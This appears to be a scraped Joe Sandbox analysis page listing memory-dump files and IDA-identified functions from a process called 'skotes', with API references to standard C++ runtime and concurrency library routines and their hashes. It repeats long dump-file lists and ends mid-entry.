Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: f721742fabefd07943274ba95a142f1a2ef3cac50ec755ed330b7d20165bc12c
Instruction ID: d515333694b1577431ac396024826bcb46cc52ff4389b1cdd8b8c72ea7785aef
Opcode Fuzzy Hash: f721742fabefd07943274ba95a142f1a2ef3cac50ec755ed330b7d20165bc12c
Instruction Fuzzy Hash: 1851E372A02A06AFDF2B9F18D841BBA77B5EF10300F154529E9059B6A1E731EDC0CB90

Function 00394C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00394C66
TypeidsEqual.LIBVCRUNTIME ref: 00394C8B
PMDtoOffset.LIBCMT ref: 00394CA1
PMDtoOffset.LIBCMT ref: 00394D22

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: e399e7013cfb1980b49a81ce6218e2f6443f60ed989c7d75f32b495b8a6d2c8a
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 3351BD79A042099FDF12CF68C580AEEFBF4EF15354F15459AE850A7352D332AE06CB50

Function 00362EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00362F5F
GetCurrentThreadId.KERNEL32 ref: 00362F7E
__Mtx_unlock.LIBCPMT ref: 00362FCC
__Cnd_broadcast.LIBCPMT ref: 00362FE3

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: a9a3f631ca4ab971349312585f3772f7de6a2bc9e4d01c7947d294a8ea0f77c1
Instruction ID: ffb1dba89260d5c7aecfe55312d61cd1f9cce98c8e202355f70f5add7de0dfc9
Opcode Fuzzy Hash: a9a3f631ca4ab971349312585f3772f7de6a2bc9e4d01c7947d294a8ea0f77c1
Instruction Fuzzy Hash: 9441D1B0A006059FDB22DF64C944B5AB7F8FF14320F11852DE81AEB781EB35EA04CB91

Function 0038DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0038DB64

Part of subcall function 00388F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00388F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0038DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0038DBE9
Concurrency::location::_Assign.LIBCMT ref: 0038DC56

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 85050f393b105e763ab15e3348bb207cfe866db82cd8461b6505fe1ba0b53117
Instruction ID: 39560695c3170c7265ffb1628ef5cabb35041844dadd56be54b84e4c9186d6a5
Opcode Fuzzy Hash: 85050f393b105e763ab15e3348bb207cfe866db82cd8461b6505fe1ba0b53117
Instruction Fuzzy Hash: 8D41BF70604314ABCF2BBB24C886BAEBB79AF44710F1581DDE50A9F3C2CB74A945C791

Function 003856AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 003856F2
_InternalDeleteHelper.LIBCONCRT ref: 00385726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0038578B
SafeRWList.LIBCONCRT ref: 0038579A

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: e2ffd2539d1da9d7588144ac0ae61c6f7d9b8e4e9fa53d3b6bc311728d3d414f
